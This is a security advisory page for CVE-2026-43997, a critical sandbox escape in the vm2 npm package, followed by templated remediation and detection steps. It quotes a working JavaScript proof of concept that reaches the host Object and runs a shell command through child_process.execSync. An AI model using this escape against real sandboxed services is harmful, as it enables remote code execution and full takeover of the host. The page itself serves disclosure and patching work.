Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-43997 critical CVSS 10.0

Code Injection in vm2 (CVE-2026-43997)

Summary

Code injection in vm2 (CVE-2026-43997). Successful exploitation can lead to full system takeover. Exploitable via Object. Mitigation: upgrade to 3.11.0 or later.

Original description

The description as published by the source.

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-43997 has been found in vm2.
Attackers can target a specific entry point like Object over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 10.0/10.
What to do: upgrade vm2 to 3.11.0 or later.
If unsure, ask your IT team or search "vm2 CVE-2026-43997" on the vendor's site.

CVE-2026-43997 (vm2) — CWE-94 / CVSS v3 10.0
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: Object / HostObject.getOwnPropertySymbols
Patched: 3.11.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Arbitrary code execution (CWE-94) exists in vm2. Attackers reach the vulnerable code path via Object without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of vm2. Attack surface: Object / HostObject.getOwnPropertySymbols.

🔥 Severity

Severity: Critical (CVSS 10.0/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 3.11.0.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'vm2' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'vm2' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で vm2 を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade vm2 to 3.11.0

    ステージング環境で 3.11.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm vm2
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details